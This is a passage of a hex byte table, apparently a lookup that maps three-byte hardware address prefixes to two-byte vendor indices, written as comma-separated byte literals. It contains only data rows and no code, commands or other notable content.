0x05,\r\n0x00, 0x40, 0x85, 0x9c, 0x20,\r\n0x00, 0x40, 0x86, 0x9d, 0x20,\r\n0x00, 0x40, 0x87, 0x9e, 0x20,\r\n0x00, 0x40, 0x88, 0x9f, 0x20,\r\n0x00, 0x40, 0x89, 0xa0, 0x20,\r\n0x00, 0x40, 0x8A, 0xa1, 0x20,\r\n0x00, 0x40, 0x8B, 0xa2, 0x20,\r\n0x00, 0x40, 0x8C, 0xa3, 0x20,\r\n0x00, 0x40, 0x8D, 0xa4, 0x20,\r\n0x00, 0x40, 0x8E, 0x9b, 0x00,\r\n0x00, 0x40, 0x8F, 0xa5, 0x20,\r\n0x00, 0x40, 0x90, 0xa6, 0x20,\r\n0x00, 0x40, 0x91, 0xc9, 0x1f,\r\n0x00, 0x40, 0x92, 0xa7, 0x20,\r\n0x00, 0x40, 0x93, 0xa8, 0x20,\r\n0x00, 0x40, 0x94, 0xa9, 0x20,\r\n0x00, 0x40, 0x95, 0xaa, 0x20,\r\n0x00, 0x40, 0x96, 0xab, 0x20,\r\n0x00, 0x40, 0x97, 0xac, 0x20,\r\n0x00, 0x40, 0x98, 0xad, 0x20,\r\n0x00, 0x40, 0x99, 0xae, 0x20,\r\n0x00, 0x40, 0x9A, 0xfb, 0x01,\r\n0x00, 0x40, 0x9B, 0xaf, 0x20,\r\n0x00, 0x40, 0x9C, 0xb0, 0x20,\r\n0x00, 0x40, 0x9D, 0xb1, 0x20,\r\n0x00, 0x40, 0x9E, 0xb2, 0x20,\r\n0x00, 0x40, 0x9F, 0x18, 0x00,\r\n0x00, 0x40, 0xA0, 0x79, 0x20,\r\n0x00, 0x40, 0xA1, 0xb3, 0x20,\r\n0x00, 0x40, 0xA2, 0xb4, 0x20,\r\n0x00, 0x40, 0xA3, 0xb5, 0x20,\r\n0x00, 0x40, 0xA4, 0xb6, 0x20,\r\n0x00, 0x40, 0xA5, 0xb7, 0x20,\r\n0x00, 0x40, 0xA6, 0xb8, 0x20,\r\n0x00, 0x40, 0xA7, 0xb9, 0x20,\r\n0x00, 0x40, 0xA8, 0xba, 0x20,\r\n0x00, 0x40, 0xA9, 0x14, 0x12,\r\n0x00, 0x40, 0xAA, 0xbb, 0x20,\r\n0x00, 0x40, 0xAB, 0xbc, 0x20,\r\n0x00, 0x40, 0xAC, 0xbd, 0x20,\r\n0x00, 0x40, 0xAD, 0xbe, 0x20,\r\n0x00, 0x40, 0xAE, 0xbf, 0x20,\r\n0x00, 0x40, 0xAF, 0x98, 0x01,\r\n0x00, 0x40, 0xB0, 0xc0, 0x20,\r\n0x00, 0x40, 0xB1, 0xc1, 0x20,\r\n0x00, 0x40, 0xB2, 0xc2, 0x20,\r\n0x00, 0x40, 0xB3, 0xc3, 0x20,\r\n0x00, 0x40, 0xB4, 0xc4, 0x20,\r\n0x00, 0x40, 0xB5, 0xc5, 0x20,\r\n0x00, 0x40, 0xB6, 0x63, 0x00,\r\n0x00, 0x40, 0xB7, 0xc6, 0x20,\r\n0x00, 0x40, 0xB8, 0xc7, 0x20,\r\n0x00, 0x40, 0xB9, 0xc8, 0x20,\r\n0x00, 0x40, 0xBA, 0xc9, 0x20,\r\n0x00, 0x40, 0xBB, 0x79, 0x20,\r\n0x00, 0x40, 0xBC, 0x74, 0x1a,\r\n0x00, 0x40, 0xBD, 0xca, 0x1b,\r\n0x00, 0x40, 0xBE, 0xca, 0x20,\r\n0x00, 0x40, 0xBF, 0xcb, 0x20,\r\n0x00, 0x40, 0xC0, 0x56, 0x08,\r\n0x00, 0x40, 0xC1, 0xcc, 0x20,\r\n0x00, 0x40, 0xC2, 0xcd, 0x20,\r\n0x00, 0x40, 0xC3, 0xce, 0x20,\r\n0x00, 0x40, 0xC4, 0xcf, 0x20,\r\n0x00, 0x40, 0xC5, 0xd0, 0x20,\r\n0x00, 0x40, 0xC6, 0xd1, 0x20,\r\n0x00, 0x40, 0xC7, 0x59, 0x1d,\r\n0x00, 0x40, 0xC8, 0xd2, 0x20,\r\n0x00, 0x40, 0xC9, 0xd3, 0x20,\r\n0x00, 0x40, 0xCA, 0x3b, 0x10,\r\n0x00, 0x40, 0xCB, 0xd4, 0x20,\r\n0x00, 0x40, 0xCC, 0xd5, 0x20,\r\n0x00, 0x40, 0xCD, 0xd6, 0x20,\r\n0x00, 0x40, 0xCE, 0xd7, 0x20,\r\n0x00, 0x40, 0xCF, 0xb9, 0x14,\r\n0x00, 0x40, 0xD0, 0x14, 0x1c,\r\n0x00, 0x40, 0xD1, 0xd8, 0x20,\r\n0x00, 0x40, 0xD2, 0xd9, 0x20,\r\n0x00, 0x40, 0xD3, 0xda, 0x20,\r\n0x00, 0x40, 0xD4, 0xdb, 0x20,\r\n0x00, 0x40, 0xD5, 0xdc, 0x20,\r\n0x00, 0x40, 0xD6, 0xdd, 0x20,\r\n0x00, 0x40, 0xD7, 0xde, 0x20,\r\n0x00, 0x40, 0xD8, 0xdf, 0x20,\r\n0x00, 0x40, 0xD9, 0x36, 0x06,\r\n0x00, 0x40, 0xDA, 0xe0, 0x20,\r\n0x00, 0x40, 0xDB, 0xf7, 0x01,\r\n0x00, 0x40, 0xDC, 0xe1, 0x20,\r\n0x00, 0x40, 0xDD, 0xe2, 0x20,\r\n0x00, 0x40, 0xDE, 0xe3, 0x20,\r\n0x00, 0x40, 0xDF, 0xe4, 0x20,\r\n0x00, 0x40, 0xE0, 0xe5, 0x20,\r\n0x00, 0x40, 0xE1, 0xe6, 0x20,\r\n0x00, 0x40, 0xE2, 0xe7, 0x20,\r\n0x00, 0x40, 0xE3, 0xe8, 0x20,\r\n0x00, 0x40, 0xE4, 0xe9, 0x20,\r\n0x00, 0x40, 0xE5, 0xea, 0x20,\r\n0x00, 0x40, 0xE6, 0xeb, 0x20,\r\n0x00, 0x40, 0xE7, 0xec, 0x20,\r\n0x00, 0x40, 0xE8, 0xed, 0x20,\r\n0x00, 0x40, 0xE9, 0xee, 0x20,\r\n0x00, 0x40, 0xEA, 0xef, 0x20,\r\n0x00, 0x40, 0xEB, 0xf0, 0x20,\r\n0x00, 0x40, 0xEC, 0xf1, 0x20,\r\n0x00, 0x40, 0xED, 0xbb, 0x14,\r\n0x00, 0x40, 0xEE, 0xf2, 0x20,\r\n0x00, 0x40, 0xEF, 0xf3, 0x20,\r\n0x00, 0x40, 0xF0, 0x83, 0x0a,\r\n0x00, 0x40, 0xF1, 0xf4, 0x20,\r\n0x00, 0x40, 0xF2, 0xf5, 0x20,\r\n0x00, 0x40, 0xF3, 0xf6, 0x20,\r\n0x00, 0x40, 0xF4, 0x2a, 0x15,\r\n0x00, 0x40, 0xF5, 0xf7, 0x20,\r\n0x00, 0x40, 0xF6, 0xf8, 0x20,\r\n0x00, 0x40, 0xF7, 0xf7, 0x03,\r\n0x00, 0x40, 0xF8, 0xf9, 0x20,\r\n0x00, 0x40, 0xF9, 0xfa, 0x20,\r\n0x00, 0x40, 0xFA, 0xfb, 0x20,\r\n0x00, 0x40, 0xFB, 0xfc, 0x20,\r\n0x00, 0x40, 0xFC, 0xfd, 0x20,\r\n0x00, 0x40, 0xFD, 0xfe, 0x20,\r\n0x00, 0x40, 0xFE, 0xff, 0x20,\r\n0x00, 0x40, 0xFF, 0x00, 0x21,\r\n0x00, 0x41, 0xB4, 0x01, 0x21,\r\n0x00, 0x41, 0xD2, 0x05, 0x00,\r\n0x00, 0x42, 0x52, 0x02, 0x21,\r\n0x00, 0x42, 0x5A, 0x05, 0x00,\r\n0x00, 0x42, 0x68, 0x05, 0x00,\r\n0x00, 0x43, 0xFF, 0x03, 0x21,\r\n0x00, 0x45, 0x01, 0x04, 0x21,\r\n0x00, 0x46, 0x4B, 0xda, 0x14,\r\n0x00, 0x48, 0x54, 0x54, 0x18,\r\n0x00, 0x4A, 0x77, 0xe1, 0x12,\r\n0x00, 0x4B, 0xF3, 0xe9, 0x01,\r\n0x00, 0x4D, 0x32, 0x05, 0x21,\r\n0x00, 0x4F, 0x49, 0x06, 0x21,\r\n0x00, 0x4F, 0x4B, 0x07, 0x21,\r\n0x00, 0x50, 0x00, 0x08, 0x21,\r\n0x00, 0x50, 0x01, 0x09, 0x21,\r\n0x00, 0x50, 0x02, 0x0a, 0x21,\r\n0x00, 0x50, 0x03, 0x0b, 0x21,\r\n0x00, 0x50, 0x04, 0x63, 0x0e,\r\n0x00, 0x50, 0x06, 0xb6, 0x0e,\r\n0x00, 0x50, 0x07, 0x5d, 0x15,\r\n0x00, 0x50, 0x08, 0x0c, 0x21,\r\n0x00, 0x50, 0x09, 0x0d, 0x21,\r\n0x00, 0x50, 0x0A, 0x0e, 0x21,\r\n0x00, 0x50, 0x0B, 0x05, 0x00,\r\n0x00, 0x50, 0x0C, 0x0f, 0x21,\r\n0x00, 0x50, 0x0D, 0x10, 0x21,\r\n0x00, 0x50, 0x0E, 0x26, 0x00,\r\n0x00, 0x50, 0x0F, 0x05, 0x00,\r\n0x00, 0x50, 0x10, 0x11, 0x21,\r\n0x00, 0x50, 0x12, 0x12, 0x21,\r\n0x00, 0x50, 0x13, 0x13, 0x21,\r\n0x00, 0x50, 0x14, 0x05, 0x00,\r\n0x00, 0x50, 0x15, 0x14, 0x21,\r\n0x00, 0x50, 0x16, 0x15, 0x21,\r\n0x00, 0x50, 0x17, 0x16, 0x21,\r\n0x00, 0x50, 0x18, 0x17, 0x21,\r\n0x00, 0x50, 0x19, 0x18, 0x21,\r\n0x00, 0x50, 0x1A, 0x19, 0x21,\r\n0x00, 0x50, 0x1B, 0x1a, 0x21,\r\n0x00, 0x50, 0x1C, 0x1b, 0x21,\r\n0x00, 0x50, 0x1E, 0x1c, 0x21,\r\n0x00, 0x50, 0x1F, 0x1d, 0x21,\r\n0x00, 0x50, 0x20, 0x1e, 0x21,\r\n0x00, 0x50, 0x21, 0x1f, 0x21,\r\n0x00, 0x50, 0x22, 0x20, 0x21,\r\n0x00, 0x50, 0x23, 0x21, 0x21,\r\n0x00, 0x50, 0x24, 0x22, 0x21,\r\n0x00, 0x50, 0x26, 0x23, 0x21,\r\n0x00, 0x50, 0x27, 0x24, 0x21,\r\n0x00, 0x50, 0x28, 0x25, 0x21,\r\n0x00, 0x50, 0x29, 0x26, 0x21,\r\n0x00, 0x50, 0x2A, 0x05, 0x00,\r\n0x00, 0x50, 0x2B, 0x27, 0x21,\r\n0x00, 0x50, 0x2C, 0x28, 0x21,\r\n0x00, 0x50, 0x2D, 0x29, 0x21,\r\n0x00, 0x50, 0x2E, 0x2a, 0x21,\r\n0x00, 0x50, 0x2F, 0x2b, 0x21,\r\n0x00, 0x50, 0x30, 0x2c, 0x21,\r\n0x00, 0x50, 0x31, 0x2d, 0x21,\r\n0x00, 0x50, 0x32, 0x2e, 0x21,\r\n0x00, 0x50, 0x33, 0x2f, 0x21,\r\n0x00, 0x50, 0x36, 0x30, 0x21,\r\n0x00, 0x50, 0x37, 0x31, 0x21,\r\n0x00, 0x50, 0x38, 0x32, 0x21,\r\n0x00, 0x50, 0x39, 0x33, 0x21,\r\n0x00, 0x50, 0x3A, 0x34, 0x21,\r\n0x00, 0x50, 0x3B, 0x35, 0x21,\r\n0x00, 0x50, 0x3C, 0x3a, 0x04,\r\n0x00, 0x50, 0x3E, 0x05, 0x00,\r\n0x00, 0x50, 0x3F, 0x36, 0x21,\r\n0x00, 0x50, 0x40, 0x5e, 0x0d,\r\n0x00, 0x50, 0x41, 0x37, 0x21,\r\n0x00, 0x50, 0x42, 0x38, 0x21,\r\n0x00, 0x50, 0x43, 0x39, 0x21,\r\n0x00, 0x50, 0x44, 0x3a, 0x21,\r\n0x00, 0x50, 0x45, 0x3b, 0x21,\r\n0x00, 0x50, 0x46, 0x3c, 0x21,\r\n0x00, 0x50, 0x47, 0x65, 0x00,\r\n0x00, 0x50, 0x48, 0x3d, 0x21,\r\n0x00, 0x50, 0x49, 0x3e, 0x21,\r\n0x00, 0x50, 0x4A, 0x3f, 0x21,\r\n0x00, 0x50, 0x4B, 0x40, 0x21,\r\n0x00, 0x50, 0x4C, 0x41, 0x21,\r\n0x00, 0x50, 0x4D, 0x42, 0x21,\r\n0x00, 0x50, 0x4E, 0x43, 0x21,\r\n0x00, 0x50, 0x4F, 0x44, 0x21,\r\n0x00, 0x50, 0x50, 0x05, 0x00,\r\n0x00, 0x50, 0x51, 0x45, 0x21,\r\n0x00, 0x50, 0x52, 0x46, 0x21,\r\n0x00, 0x50, 0x53, 0x05, 0x00,\r\n0x00, 0x50, 0x54, 0x05, 0x00,\r\n0x00, 0x50, 0x55, 0x47, 0x21,\r\n0x00, 0x50, 0x56, 0xf0, 0x04,\r\n0x00, 0x50, 0x57, 0xe6, 0x0d,\r\n0x00, 0x50, 0x58, 0x48, 0x21,\r\n0x00, 0x50, 0x59, 0x49, 0x21,\r\n0x00, 0x50, 0x5A, 0xf0, 0x16,\r\n0x00, 0x50, 0x5B, 0x8f, 0x05,\r\n0x00, 0x50, 0x5C, 0x4a, 0x21,\r\n0x00, 0x50, 0x5E, 0x4b, 0x21,\r\n0x00, 0x50, 0x5F, 0x4c, 0x21,\r\n0x00, 0x50, 0x60, 0x97, 0x0f,\r\n0x00, 0x50, 0x62, 0x4d, 0x21,\r\n0x00, 0x50, 0x63, 0x4e, 0x21,\r\n0x00, 0x50, 0x64, 0x4f, 0x21,\r\n0x00, 0x50, 0x65, 0xf6, 0x15,\r\n0x00, 0x50, 0x66, 0x50, 0x21,\r\n0x00, 0x50, 0x67, 0x51, 0x21,\r\n0x00, 0x50, 0x68, 0x38, 0x05,\r\n0x00, 0x50, 0x69, 0x52, 0x21,\r\n0x00, 0x50, 0x6A, 0x53, 0x21,\r\n0x00, 0x50, 0x6B, 0x54, 0x21,\r\n0x00, 0x50, 0x6C, 0x55, 0x21,\r\n0x00, 0x50, 0x6D, 0x56, 0x21,\r\n0x00, 0x50, 0x6E, 0x57, 0x21,\r\n0x00, 0x50, 0x6F, 0x58, 0x21,\r\n0x00, 0x50, 0x70, 0x59, 0x21,\r\n0x00, 0x50, 0x71, 0x5a, 0x21,\r\n0x00, 0x50, 0x72, 0x5b, 0x21,\r\n0x00, 0x50, 0x73, 0x05, 0x00,\r\n0x00, 0x50, 0x74, 0xf7, 0x01,\r\n0x00, 0x50, 0x75, 0x5c, 0x21,\r\n0x00, 0x50, 0x76, 0x2f, 0x02,\r\n0x00, 0x50, 0x77, 0x5d, 0x21,\r\n0x00, 0x50, 0x78, 0x5e, 0x21,\r\n0x00, 0x50, 0x79, 0x65, 0x00,\r\n0x00, 0x50, 0x7A, 0xe8, 0x02,\r\n0x00, 0x50, 0x7B, 0x5f, 0x21,\r\n0x00, 0x50, 0x7C, 0x60, 0x21,\r\n0x00, 0x50, 0x7D, 0x61, 0x21,\r\n0x00, 0x50, 0x7E, 0x62, 0x21,\r\n0x00, 0x50, 0x7F, 0xbd, 0x18,\r\n0x00, 0x50, 0x80, 0x05, 0x00,\r\n0x00, 0x50, 0x81, 0xd4, 0x0c,\r\n0x00, 0x50, 0x82, 0x63, 0x21,\r\n0x00, 0x50, 0x83, 0x64, 0x21,\r\n0x00, 0x50, 0x84, 0x65, 0x21,\r\n0x00, 0x50, 0x86, 0x66, 0x21,\r\n0x00, 0x50, 0x87, 0x67, 0x21,\r\n0x00, 0x50, 0x88, 0x68, 0x21,\r\n0x00, 0x50, 0x89, 0x69, 0x21,\r\n0x00, 0x50, 0x8B, 0xc9, 0x01,\r\n0x00, 0x50, 0x8C, 0x6a, 0x21,\r\n0x00, 0x50, 0x8D, 0x6b, 0x21,\r\n0x00, 0x50, 0x8E, 0x6c, 0x21,\r\n0x00, 0x50, 0x8F, 0x6d, 0x21,\r\n0x00, 0x50, 0x90, 0x6e, 0x21,\r\n0x00, 0x50, 0x91, 0x6f, 0x21,\r\n0x00, 0x50, 0x92, 0x70, 0x21,\r\n0x00, 0x50, 0x93, 0x5e, 0x06,\r\n0x00, 0x50, 0x94, 0xb9, 0x00,\r\n0x00, 0x50, 0x95, 0x71, 0x21,\r\n0x00, 0x50, 0x96, 0x72, 0x21,\r\n0x00, 0x50, 0x97, 0x73, 0x21,\r\n0x00, 0x50, 0x98, 0x74, 0x21,\r\n0x00, 0x50, 0x99, 0xc0, 0x03,\r\n0x00, 0x50, 0x9A, 0x75, 0x21,\r\n0x00, 0x50, 0x9B, 0x76, 0x21,\r\n0x00, 0x50, 0x9C, 0x77, 0x21,\r\n0x00, 0x50, 0x9D, 0x78, 0x21,\r\n0x00, 0x50, 0x9E, 0x79, 0x21,\r\n0x00, 0x50, 0x9F, 0x7a, 0x21,\r\n0x00, 0x50, 0xA0, 0x7b, 0x21,\r\n0x00, 0x50, 0xA1, 0xed, 0x15,\r\n0x00, 0x50, 0xA2, 0x05, 0x00,\r\n0x00, 0x50, 0xA3, 0x7c, 0x21,\r\n0x00, 0x50, 0xA4, 0x7d, 0x21,\r\n0x00, 0x50, 0xA5, 0x7e, 0x21,\r\n0x00, 0x50, 0xA6, 0xea, 0x1f,\r\n0x00, 0x50, 0xA7, 0x05, 0x00,\r\n0x00, 0x50, 0xA8, 0x7f, 0x21,\r\n0x00, 0x50, 0xA9, 0x80, 0x21,\r\n0x00, 0x50, 0xAA, 0xb2, 0x1a,\r\n0x00, 0x50, 0xAB, 0x81, 0x21,\r\n0x00, 0x50, 0xAC, 0x6c, 0x20,\r\n0x00, 0x50, 0xAD, 0x82, 0x21,\r\n0x00, 0x50, 0xAE, 0x83, 0x21,\r\n0x00, 0x50, 0xAF, 0x84, 0x21,\r\n0x00, 0x50, 0xB0, 0x71, 0x0c,\r\n0x00, 0x50, 0xB1, 0x85, 0x21,\r\n0x00, 0x50, 0xB2, 0x86, 0x21,\r\n0x00, 0x50, 0xB3, 0x87, 0x21,\r\n0x00, 0x50, 0xB4, 0x88, 0x21,\r\n0x00, 0x50, 0xB5, 0x89, 0x21,\r\n0x00, 0x50, 0xB6, 0x8a, 0x21,\r\n0x00, 0x50, 0xB7, 0x8b, 0x21,\r\n0x00, 0x50, 0xB8, 0x8c, 0x21,\r\n0x00, 0x50, 0xB9, 0x8d, 0x21,\r\n0x00, 0x50, 0xBA, 0xe8, 0x04,\r\n0x00, 0x50, 0xBB, 0x8e, 0x21,\r\n0x00, 0x50, 0xBC, 0x8f, 0x21,\r\n0x00, 0x50, 0xBD, 0x05, 0x00,\r\n0x00, 0x50, 0xBE, 0x90, 0x21,\r\n0x00, 0x50, 0xBF, 0x82, 0x0a,\r\n0x00, 0x50, 0xC0, 0x91, 0x21,\r\n0x00, 0x50, 0xC1, 0x92, 0x21,\r\n0x00, 0x50, 0xC2, 0x57, 0x17,\r\n0x00, 0x50, 0xC4, 0x93, 0x21,\r\n0x00, 0x50, 0xC5, 0x94, 0x21,\r\n0x00, 0x50, 0xC6, 0x95, 0x21,\r\n0x00, 0x50, 0xC7, 0x65, 0x00,\r\n0x00, 0x50, 0xC8, 0x96, 0x21,\r\n0x00, 0x50, 0xC9, 0x97, 0x21,\r\n0x00, 0x50, 0xCA, 0x98, 0x21,\r\n0x00, 0x50, 0xCB, 0x99, 0x21,\r\n0x00, 0x50, 0xCC, 0x13, 0x21,\r\n0x00, 0x50, 0xCD, 0x9a, 0x21,\r\n0x00, 0x50, 0xCE, 0x9b, 0x21,\r\n0x00, 0x50, 0xCF, 0x9c, 0x21,\r\n0x00, 0x50, 0xD0, 0x9d, 0x21,\r\n0x00, 0x50, 0xD1, 0x05, 0x00,\r\n0x00, 0x50, 0xD2, 0x9e, 0x21,\r\n0x00, 0x50, 0xD3, 0x0a, 0x17,\r\n0x00, 0x50, 0xD4, 0x9f, 0x21,\r\n0x00, 0x50, 0xD5, 0xa0, 0x21,\r\n0x00, 0x50, 0xD6, 0xa1, 0x21,\r\n0x00, 0x50, 0xD7, 0xa2, 0x21,\r\n0x00, 0x50, 0xD8, 0xa3, 0x21,\r\n0x00, 0x50, 0xD9, 0xa4, 0x21,\r\n0x00, 0x50, 0xDA, 0xf2, 0x00,\r\n0x00, 0x50, 0xDB, 0xfc, 0x11,\r\n0x00, 0x50, 0xDC, 0xa5, 0x21,\r\n0x00, 0x50, 0xDD, 0xa6, 0x21,\r\n0x00, 0x50, 0xDE, 0xa7, 0x21,\r\n0x00, 0x50, 0xDF, 0xa8, 0x21,\r\n0x00, 0x50, 0xE1, 0xa9, 0x21,\r\n0x00, 0x50, 0xE2, 0x05, 0x00,\r\n0x00, 0x50, 0xE3, 0xb9, 0x00,\r\n0x00, 0x50, 0xE4, 0x51, 0x03,\r\n0x00, 0x50, 0xE6, 0xaa, 0x21,\r\n0x00, 0x50, 0xE7, 0x12, 0x0f,\r\n0x00, 0x50, 0xE8, 0xab, 0x21,\r\n0x00, 0x50, 0xEA, 0xac, 0x21,\r\n0x00, 0x50, 0xEB, 0xad, 0x21,\r\n0x00, 0x50, 0xEC, 0xae, 0x21,\r\n0x00, 0x50, 0xED, 0xaf, 0x21,\r\n0x00, 0x50, 0xEE, 0xb0, 0x21,\r\n0x00, 0x50, 0xEF, 0xb1, 0x21,\r\n0x00, 0x50, 0xF0, 0x05, 0x00,\r\n0x00, 0x50, 0xF1, 0x82, 0x02,\r\n0x00, 0x50, 0xF2, 0xb4, 0x03,\r\n0x00, 0x50, 0xF3, 0xb2, 0x21,\r\n0x00, 0x50, 0xF4, 0xb3, 0x21,\r\n0x00, 0x50, 0xF6, 0xb4, 0x21,\r\n0x00, 0x50, 0xF7, 0xb5, 0x21,\r\n0x00, 0x50, 0xF8, 0xb6, 0x21,\r\n0x00, 0x50, 0xF9, 0xb7, 0x21,\r\n0x00, 0x50, 0xFA, 0xb8, 0x21,\r\n0x00, 0x50, 0xFB, 0xb9, 0x21,\r\n0x00, 0x50, 0xFC, 0x9f, 0x0c,\r\n0x00, 0x50, 0xFD, 0xba, 0x21,\r\n0x00, 0x50, 0xFE, 0xbb, 0x21,\r\n0x00, 0x50, 0xFF, 0xbc, 0x21,\r\n0x00, 0x52, 0x18, 0xbd, 0x21,\r\n0x00, 0x54, 0x9F, 0xc2, 0x03,\r\n0x00, 0x54, 0xAF, 0x6b, 0x19,\r\n0x00, 0x54, 0xBD, 0xbe, 0x21,\r\n0x00, 0x55, 0x00, 0x01, 0x00,\r\n0x00, 0x55, 0xDA, 0x57, 0x17,\r\n0x00, 0x56, 0x2B, 0x05, 0x00,\r\n0x00, 0x56, 0xCD, 0x51, 0x03,\r\n0x00, 0x57, 0xD2, 0x05, 0x00,\r\n0x00, 0x58, 0x3F, 0xbf, 0x21,\r\n0x00, 0x59, 0x07, 0xc0, 0x21,\r\n0x00, 0x59, 0x79, 0xc1, 0x21,\r\n0x00, 0x59, 0xAC, 0xc2, 0x21,\r\n0x00, 0x59, 0xDC, 0x05, 0x00,\r\n0x00, 0x5A, 0x13, 0xda, 0x14,\r\n0x00, 0x5A, 0x39, 0xe9, 0x01,\r\n0x00, 0x5B, 0xA1, 0x0e, 0x03,\r\n0x00, 0x5C, 0x86, 0xe9, 0x01,\r\n0x00, 0x5C, 0xB1, 0xc3, 0x21,\r\n0x00, 0x5D, 0x03, 0x2d, 0x09,\r\n0x00, 0x5D, 0x73, 0x05, 0x00,\r\n0x00, 0x5F, 0x86, 0x05, 0x00,\r\n0x00, 0x60, 0x00, 0xc4, 0x21,\r\n0x00, 0x60, 0x01, 0xc5, 0x21,\r\n0x00, 0x60, 0x02, 0xc6, 0x21,\r\n0x00, 0x60, 0x03, 0xc7, 0x21,\r\n0x00, 0x60, 0x04, 0xc8, 0x21,\r\n0x00, 0x60, 0x05, 0xc9, 0x21,\r\n0x00, 0x60, 0x06, 0xca, 0x21,\r\n0x00, 0x60, 0x07, 0xcb, 0x21,\r\n0x00, 0x60, 0x08, 0xcc, 0x21,\r\n0x00, 0x60, 0x09, 0xcd, 0x21,\r\n0x00, 0x60, 0x0A, 0xce, 0x21,\r\n0x00, 0x60, 0x0B, 0xcf, 0x21,\r\n0x00, 0x60, 0x0C, 0xd0, 0x21,\r\n0x00, 0x60, 0x0D, 0x25, 0x10,\r\n0x00, 0x60, 0x0E, 0xd1, 0x21,\r\n0x00, 0x60, 0x0F, 0x0a, 0x0e,\r\n0x00, 0x60, 0x10, 0xd2, 0x21,\r\n0x00, 0x60, 0x11, 0xd3, 0x21,\r\n0x00, 0x60, 0x12, 0xd4, 0x21,\r\n0x00, 0x60, 0x13, 0xd5, 0x21,\r\n0x00, 0x60, 0x14, 0xd6, 0x21,\r\n0x00, 0x60, 0x15, 0xd7, 0x21,\r\n0x00, 0x60, 0x16, 0xd8, 0x21,\r\n0x00, 0x60, 0x17, 0xd9, 0x21,\r\n0x00, 0x60, 0x18, 0xda, 0x21,\r\n0x00, 0x60, 0x19, 0xa0, 0x0c,\r\n0x00, 0x60, 0x1A, 0xdb, 0x21,\r\n0x00, 0x60, 0x1B, 0xdc, 0x21,\r\n0x00, 0x60, 0x1C, 0xdd, 0x21,\r\n0x00, 0x60, 0x1D, 0x09, 0x05,\r\n0x00, 0x60, 0x1E, 0xde, 0x21,\r\n0x00, 0x60, 0x1F, 0xdf, 0x21,\r\n0x00, 0x60, 0x20, 0xe0, 0x21,\r\n0x00, 0x60, 0x21, 0xe1, 0x21,\r\n0x00, 0x60, 0x22, 0xe2, 0x21,\r\n0x00, 0x60, 0x23, 0xe3, 0x21,\r\n0x00, 0x60, 0x24, 0xe4, 0x21,\r\n0x00, 0x60, 0x25, 0xe5, 0x21,\r\n0x00, 0x60, 0x26, 0xe6, 0x21,\r\n0x00, 0x60, 0x27, 0xe7, 0x21,\r\n0x00, 0x60, 0x28, 0xe8, 0x21,\r\n0x00, 0x60, 0x29, 0xe9, 0x21,\r\n0x00, 0x60, 0x2A, 0xea, 0x21,\r\n0x00, 0x60, 0x2B, 0xeb, 0x21,\r\n0x00, 0x60, 0x2C, 0xec, 0x21,\r\n0x00, 0x60, 0x2D, 0xed, 0x21,\r\n0x00, 0x60, 0x2E, 0xee, 0x21,\r\n0x00, 0x60, 0x2F, 0x05, 0x00,\r\n0x00, 0x60, 0x30, 0xef, 0x21,\r\n0x00, 0x60, 0x31, 0xf0, 0x21,\r\n0x00, 0x60, 0x32, 0xf1, 0x21,\r\n0x00, 0x60, 0x33, 0xf2, 0x21,\r\n0x00, 0x60, 0x34, 0xf0, 0x0b,\r\n0x00, 0x60, 0x35, 0xf3, 0x21,\r\n0x00, 0x60, 0x36, 0xf4, 0x21,\r\n0x00, 0x60, 0x37, 0xf5, 0x21,\r\n0x00, 0x60, 0x38, 0x69, 0x01,\r\n0x00, 0x60, 0x39, 0xf6, 0x21,\r\n0x00, 0x60, 0x3A, 0xf7, 0x21,\r\n0x00, 0x60, 0x3B, 0xf8, 0x21,\r\n0x00, 0x60, 0x3C, 0xf9, 0x21,\r\n0x00, 0x60, 0x3D, 0xfa, 0x21,\r\n0x00, 0x60, 0x3E, 0xfb, 0x21,\r\n0x00, 0x60, 0x3F, 0xfc, 0x21,\r\n0x00, 0x60, 0x40, 0xfd, 0x21,\r\n0x00, 0x60, 0x41, 0x5d, 0x00,\r\n0x00, 0x60, 0x42, 0xfe, 0x21,\r\n0x00, 0x60, 0x43, 0xff, 0x21,\r\n0x00, 0x60, 0x44, 0x00, 0x22,\r\n0x00, 0x60, 0x45, 0x01, 0x22,\r\n0x00, 0x60, 0x46, 0x02, 0x22,\r\n0x00, 0x60, 0x47, 0x05, 0x00,\r\n0x00, 0x60, 0x48, 0x8f, 0x00,\r\n0x00, 0x60, 0x49, 0x03, 0x22,\r\n0x00, 0x60, 0x4A, 0x04, 0x22,\r\n0x00, 0x60, 0x4B, 0x05, 0x22,\r\n0x00, 0x60, 0x4C, 0xc4, 0x0c,\r\n0x00, 0x60, 0x4D, 0x06, 0x22,\r\n0x00, 0x60, 0x4E, 0x07, 0x22,\r\n0x00, 0x60, 0x4F, 0x9b, 0x00,\r\n0x00, 0x60, 0x50, 0x08, 0x22,\r\n0x00, 0x60, 0x51, 0x09, 0x22,\r\n0x00, 0x60, 0x52, 0x0a, 0x22,\r\n0x00, 0x60, 0x53, 0x0b, 0x22,\r\n0x00, 0x60, 0x54, 0x0c, 0x22,\r\n0x00, 0x60, 0x55, 0x0d, 0x22,\r\n0x00, 0x60, 0x56, 0x31, 0x0b,\r\n0x00, 0x60, 0x57, 0xd4, 0x0c,\r\n0x00, 0x60, 0x58, 0x0e, 0x22,\r\n0x00, 0x60, 0x59, 0x35, 0x06,\r\n0x00, 0x60, 0x5A, 0x0f, 0x22,\r\n0x00, 0x60, 0x5B, 0xa4, 0x05,\r\n0x00, 0x60, 0x5C, 0x05, 0x00,\r\n0x00, 0x60, 0x5D, 0x10, 0x22,\r\n0x00, 0x60, 0x5E, 0x11, 0x22,\r\n0x00, 0x60, 0x5F, 0x12, 0x22,\r\n0x00, 0x60, 0x60, 0x13, 0x22,\r\n0x00, 0x60, 0x61, 0x14, 0x22,\r\n0x00, 0x60, 0x62, 0x15, 0x22,\r\n0x00, 0x60, 0x63, 0x16, 0x22,\r\n0x00, 0x60, 0x64, 0x4f, 0x20,\r\n0x00, 0x60, 0x65, 0x17, 0x22,\r\n0x00, 0x60, 0x66, 0xda, 0x1b,\r\n0x00, 0x60, 0x67, 0x18, 0x22,\r\n0x00, 0x60, 0x68, 0x19, 0x22,\r\n0x00, 0x60, 0x69, 0x80, 0x00,\r\n0x00, 0x60, 0x6A, 0xb2, 0x00,\r\n0x00, 0x60, 0x6B, 0x1a, 0x22,\r\n0x00, 0x60, 0x6C, 0x58, 0x05,\r\n0x00, 0x60, 0x6D, 0xdf, 0x01,\r\n0x00, 0x60, 0x6E, 0x1b, 0x22,\r\n0x00, 0x60, 0x6F, 0x1c, 0x22,\r\n0x00, 0x60, 0x70, 0x1d, 0x22,\r\n0x00, 0x60, 